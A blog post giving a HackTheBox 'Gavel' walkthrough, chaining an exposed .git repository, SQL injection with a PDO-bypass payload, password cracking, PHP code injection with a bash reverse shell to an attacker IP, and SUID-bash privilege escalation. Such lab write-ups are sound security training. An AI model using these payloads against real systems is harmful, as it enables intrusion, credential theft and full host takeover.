DEV Community

Sviatoslav König
Sviatoslav König

Posted on

HackTheBox | Gavel Writeup — From SQL Injection to Root Shell

HackTheBox Gavel Writeup — From SQL Injection to Root Shell

A step-by-step walkthrough of exploiting an auction platform through source code analysis, SQL injection, and YAML-based privilege escalation


Before diving in, I want to note that this is one of my first writeups as part of the Season of the Gacha event on HackTheBox. The Gavel machine turned out to be quite interesting and educational, though it definitely requires some effort, patience, and logical thinking. I won't pretend I didn't struggle at times, but I felt genuine satisfaction after completing it. Let's get started!


Reconnaissance

Port Scanning

We begin with the traditional Nmap scan and discover two open TCP ports: port 22 running OpenSSH 8.9p1 (Ubuntu) and port 80 hosting an Apache httpd 2.4.52 web server.

nmap -p- -sC -sV -oN nmap_scan.txt 10.129.4.66
Enter fullscreen mode Exit fullscreen mode

Nmap scan results — ports 22 and 80 discovered

SSH won't be useful at this stage without credentials, so we'll focus our attention on investigating the web application as the most promising entry point.

Open Ports:

  • 22/tcp (SSH — OpenSSH 8.9p1 Ubuntu)
  • 80/tcp (HTTP — Apache httpd 2.4.52)

Adding Domain to Hosts File

We add an entry to /etc/hosts for local domain name resolution. This is critical because the Apache web server is configured to use virtual hosts and processes requests based on the HTTP Host header value. Without the correct hosts entry, we won't be able to access the full functionality of the web application.

echo "10.129.4.176 gavel.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Exploring the Website

Finally, we open the browser and after adding the domain, we can see the full website:

http://gavel.htb
Enter fullscreen mode Exit fullscreen mode

Main page of the gavel.htb auction platform

We're presented with an auction web platform featuring a fantasy theme, offering various virtual items. The site implements full user registration functionality and a bidding system. From a pentesting perspective, this immediately points to potential attack vectors: SQL injection in login forms and filters, manipulation of bid parameters, and vulnerabilities in transaction processing logic. Any system where users submit numerical values (bid amounts, lot IDs) deserves close attention.

Auction catalog with fantasy items

Obviously, we need to register for further investigation — most functionality is hidden behind authentication, and without an account, we can't interact with the bidding system and lots. We create a test account and log in.

Trading interface after authentication — form for placing bids

As mentioned earlier, this application implements auction lot mechanics and subsequent purchasing. The mere presence of a form through which users place bids should immediately make us think that key interactions occur precisely with the values passed within this form. This means the server processes most of the logic based on data the client sends in requests.

Directory Enumeration

Now let's perform reconnaissance on the web application's structure. We use ffuf to search for hidden files and directories — developers often leave service scripts, backups, or configuration files publicly accessible, which can reveal additional attack vectors:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -u http://gavel.htb/FUZZ -e .php
Enter fullscreen mode Exit fullscreen mode

ffuf scan results — found admin.php, inventory.php, and .git

What we found:

  • /admin.php — admin panel (currently inaccessible without credentials)
  • /inventory.php — product inventory
  • /.git/exposed Git repository! (This is a serious find)

Extracting Source Code from Git Repository

Since we found a gold mine, we use the specialized tool git-dumper to extract it, which recursively downloads all Git objects and reconstructs the complete project structure:

git-dumper http://gavel.htb/.git/ ./gavel-source
Enter fullscreen mode Exit fullscreen mode

Source code extraction process using git-dumper

Now we have full access to the application's source code — this significantly simplifies vulnerability discovery. When analyzing the code, we should focus on critical files: admin.php, inventory.php, login.php, and the includes/ directory. We pay special attention to: SQL queries, configuration files, authentication logic, and user data processing.

At this stage, I spent considerable time understanding the application structure. I used various analysis tools, AI assistance, and my own PHP and web development knowledge. Eventually, persistence paid off — detailed examination of the source code revealed critical vulnerabilities:

  1. SQL Injection in inventory.php — the user_id and sort parameters are passed to SQL queries without proper sanitization, allowing arbitrary SQL command execution through backtick injection
  2. Insecure rule processing in admin panel — the dynamic rules system for auctions uses runkit_function_add() to dynamically create PHP functions from user input, opening the door to Remote Code Execution (RCE)
  3. No rate limiting on critical endpoints — enables credential brute-forcing

Finally, we can form a complete attack chain: SQL Injection → credential extraction → admin panel access → RCE through the rules system.

Attack chain diagram based on source code analysis


Exploitation

SQL Injection for Credential Extraction

As I mentioned above, the inventory.php file immediately caught my attention — the user parameters were being handled suspiciously. After more detailed analysis, my suspicions were confirmed: the user_id and sort parameters go directly into SQL queries without any filtering. Classic SQL injection through backtick injection. For exploitation, we use the following payload:

http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00
Enter fullscreen mode Exit fullscreen mode

Key points for bypassing PDO:

  • \? — the backslash before the question mark breaks parameter detection because PDO scans ? placeholders before parsing MySQL syntax and doesn't recognize the escaped variant
  • %00 — null byte causes string truncation at the C level in the MySQL driver, effectively "cutting off" the rest of the query

And the response returns credentials for the auctioneer user — the password is in bcrypt hash format, of course, but that's just a matter of technique.

Successful SQL injection exploitation — auctioneer credentials obtained

Example result:

auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS...
Enter fullscreen mode Exit fullscreen mode

Cracking the Password

Now we need to crack this hash. First, we save it to a file:

echo 'auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' > hash.txt
Enter fullscreen mode Exit fullscreen mode

Then we unleash John the Ripper with the classic rockyou.txt — bcrypt isn't fast for us, but as I mentioned, this requires patience and perseverance. If the password is weak, there's a chance:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Enter fullscreen mode Exit fullscreen mode

Result:

Password: midnight1
Enter fullscreen mode Exit fullscreen mode

Logging into the Admin Panel

Now for the interesting part — we navigate to the admin panel and use the credentials we already have (auctioneer:midnight1):

Successful login to admin panel with auctioneer credentials

And what do we see: as an administrator, we have infinite local currency, which we can use to simply buy out the entire auction and live happily. I'll admit, I couldn't resist and spent a few minutes buying all the lots — my inner collector was satisfied! But as we remember, we're after something entirely different — we're not here for virtual trophies, but for complete control over the system.

Collection of purchased lots — the inner collector is pleased


Getting a Reverse Shell

In the admin panel, we find the Rules section — this is where our attack vector hides. This section allows the administrator to set dynamic rules for auction lots. As we discovered earlier during source code analysis, these rules are processed through runkit_function_add(), which means direct PHP code execution on the server. You'll see 3 items with timers — the system periodically recalculates rules for active lots, and this is the moment when our malicious code will be executed.

Rules section in admin panel with active lots and timers

Essentially, the mechanism works like this: when a lot's update timer triggers, the server takes the string from the rule field and executes it as PHP code. Classic Remote Code Execution (RCE) vulnerability through insecure user input processing (code injection).

And now the really interesting part begins — everything before this was just preparation. We need to inject a reverse shell payload into the rule field and wait for execution. First, we prepare a listener. Open a new terminal and start netcat in listening mode:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

You can replace 4444 with any free port you want to use.

To automate further actions, we'll need the session cookie — without it, the server won't authorize our API requests. The web application uses PHP's standard session mechanism: upon authentication, the server generates a unique session identifier and stores it in the PHPSESSID cookie (or gavel_session — depending on the application configuration). This identifier links all our requests to the authenticated administrator session.

Extract the cookie through the browser's DevTools:

Chrome: F12Application tab → Storage section → Cookiesgavel.htb

Firefox: F12Storage tab → Cookiesgavel.htb

Copy the cookie value (usually a long string like svrgsg63bm5ktf2vvfhq9cu9d9). We'll pass this token in the Cookie header when making curl requests so the server treats them as actions from an authenticated administrator.

Browser DevTools — extracting session cookie for request authorization

Now we need to get the auction_id of active lots. As I mentioned, items in the system have update timers — this is our exploitation window. When the timer triggers, the server executes the rule for that lot, and this is the moment when our payload will be executed. But to place a bid on the desired lot and trigger rule execution, we need to know its identifier.

Parse the trading page and extract auction_id using curl and grep:

curl -s http://gavel.htb/bidding.php -H 'Cookie: gavel_session=1rn49ob4qg14cs55tka1g6ujfe' | grep -E 'auction_id|data-auction-id' -A 2 -B 2
Enter fullscreen mode Exit fullscreen mode

Parsing the trading page — getting auction_id of active lots

After obtaining auction_id, we move to the key stage — injecting the reverse shell payload. Return to the admin panel, find the Rules section, and edit the rule for one of the active lots.

In the rule field, paste the following PHP code:

system('bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"'); return true;
Enter fullscreen mode Exit fullscreen mode

Injecting reverse shell payload into rule field through admin panel

Now we trigger our payload execution. Open a new terminal (netcat should still be listening in the first one) and send a POST request to the bid handler:

curl -X POST 'http://gavel.htb/includes/bid_handler.php' \
     -H 'X-Requested-With: XMLHttpRequest' \
     -H 'Cookie: PHPSESSID=svrgsg63bm5ktf2vvfhq9cu9d9' \
     -d 'auction_id=1&bid_amount=50000'
Enter fullscreen mode Exit fullscreen mode

At this very moment, when we entered our payload, the server checks the rules for the lot, our code executes, a reverse connection to netcat is initiated, and we should receive a shell.

Also, it's very important to remember to change auction_id to the current one and the cookie to your session. Lots may have different or identical lifetimes, so keep this in mind — it's important.

Sending POST request to trigger payload execution

Successfully received reverse shell — incoming connection in netcat

Shell Stabilization and Switching to auctioneer User

After receiving the reverse shell, we find ourselves in a "raw" environment as www-data. Here's what we see in the netcat terminal:

> nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.4.176 35340
bash: cannot set terminal process group (1059): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$
Enter fullscreen mode Exit fullscreen mode

This is a so-called "dumb" shell — Tab autocompletion doesn't work, up/down arrows don't scroll through command history, and Ctrl+C will simply kill the connection. First, we stabilize the shell through Python:

www-data@gavel:/var/www/html/gavel/includes$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@gavel:/var/www/html/gavel/includes$
Enter fullscreen mode Exit fullscreen mode

The pty module creates a pseudo-terminal that emulates a real TTY. Now the shell thinks it's running in a full terminal — autocompletion appears and commands work correctly.

Switching to the auctioneer User

Currently, we're working as the www-data user — this is a service account under which the Apache web server runs. It has minimal privileges and limited system access. However, we have an ace up our sleeve — remember the password midnight1 that we extracted through SQL injection and cracked using John the Ripper?

We got lucky — it turns out the auctioneer user uses the same password for both the web application and the system account. Let's not waste time and switch:

www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
Password: midnight1
auctioneer@gavel:/var/www/html/gavel/includes$ cd /home/auctioneer
auctioneer@gavel:~$
Enter fullscreen mode Exit fullscreen mode

If everything went successfully, the command prompt will change from www-data@gavel to auctioneer@gavel. Now we have access to the user's home directory and files.

The first goal is achieved — we've gained access to a system user. Now we need to find the flag. We use the find command:

find / -name "root.txt" 2>/dev/null
find /home -name "user.txt" 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

The search result shows the path: /home/auctioneer/user.txt.

We successfully grab the flag!

cat /home/auctioneer/user.txt
Enter fullscreen mode Exit fullscreen mode

User flag obtained — first stage complete


Privilege Escalation to Root

System Enumeration

Now begins the privilege escalation stage. We examine the system for interesting files and utilities:

auctioneer@gavel:~$ ls -la /opt/gavel/
auctioneer@gavel:~$ ls -la /usr/local/bin/
Enter fullscreen mode Exit fullscreen mode

While studying the system, we discover the gavel-util utility in /usr/local/bin/. This utility allows sending YAML files with auction item descriptions. The key point: the rule field in YAML is processed by the same runkit_function_add() mechanism we used to get the reverse shell, but now the code executes with elevated privileges!

gavel-util utility discovered — vector for privilege escalation

YAML Injection — Two-Stage Attack

The attack consists of two stages: first, we disable the PHP sandbox, then we create a SUID copy of bash.

Stage 1: Disabling PHP Restrictions

We create a YAML file that overwrites the PHP configuration, removing all protective restrictions (open_basedir, disable_functions):

auctioneer@gavel:~$ echo 'name: fixini' > fix_ini.yaml
auctioneer@gavel:~$ echo 'description: fix php ini' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'image: "x.png"' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'price: 1' >> fix_ini.yaml
auctioneer@gavel:~$ echo 'rule_msg: "fixini"' >> fix_ini.yaml
auctioneer@gavel:~$ echo "rule: file_put_contents('/opt/gavel/.config/php/php.ini', \"engine=On\\ndisplay_errors=On\\nopen_basedir=\\ndisable_functions=\\n\"); return false;" >> fix_ini.yaml
Enter fullscreen mode Exit fullscreen mode

Submit the file for processing:

auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/fix_ini.yaml
Item submitted for review in next auction
Enter fullscreen mode Exit fullscreen mode

Important: Wait a few seconds while the system processes the YAML and executes the code from the rule field.

Stage 2: Creating SUID bash

Now that PHP restrictions are lifted, we create a YAML file that will copy /bin/bash and set the SUID bit on the copy:

auctioneer@gavel:~$ echo 'name: rootshell' > rootshell.yaml
auctioneer@gavel:~$ echo 'description: make suid bash' >> rootshell.yaml
auctioneer@gavel:~$ echo 'image: "x.png"' >> rootshell.yaml
auctioneer@gavel:~$ echo 'price: 1' >> rootshell.yaml
auctioneer@gavel:~$ echo 'rule_msg: "rootshell"' >> rootshell.yaml
auctioneer@gavel:~$ echo "rule: system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash'); return false;" >> rootshell.yaml
Enter fullscreen mode Exit fullscreen mode

Submit for execution:

auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/rootshell.yaml
Item submitted for review in next auction
Enter fullscreen mode Exit fullscreen mode

Obtaining ROOT Privileges

After the second YAML file is processed, we check if the SUID file was created:

auctioneer@gavel:~$ ls -l /opt/gavel/rootbash
-rwsr-xr-x 1 root root 1396520 Dec  5 20:26 /opt/gavel/rootbash
Enter fullscreen mode Exit fullscreen mode

Excellent! We see the s flag in permissions (-rwsr-xr-x) — this means the SUID bit is set. Now any user who runs this file will gain the owner's (root) privileges.

We run rootbash with the -p flag (preserve privileges) to maintain elevated privileges:

auctioneer@gavel:~$ /opt/gavel/rootbash -p
rootbash-5.1# whoami
root
Enter fullscreen mode Exit fullscreen mode

We got root access! Now we grab the final flag:

rootbash-5.1# cat /root/root.txt
153f183a5ee2********************
Enter fullscreen mode Exit fullscreen mode

Summary

This machine demonstrated a complete attack chain leveraging multiple vulnerabilities:

  1. Information Disclosure — Exposed .git repository revealed source code
  2. SQL Injection — Backtick injection in inventory.php leaked credentials
  3. Password Reuse — Same password for web app and system account
  4. Remote Code Execution — Unsafe runkit_function_add() in admin panel rules
  5. Privilege Escalation — YAML injection through gavel-util utility

The key takeaways:

  • Always check for exposed Git repositories
  • Source code analysis is invaluable for finding vulnerabilities
  • Password reuse is still a common weakness
  • Dynamic code execution is extremely dangerous

That's all! See you next time! 🎯


If you enjoyed this writeup, feel free to follow me for more HackTheBox content. Happy hacking!

Top comments (0)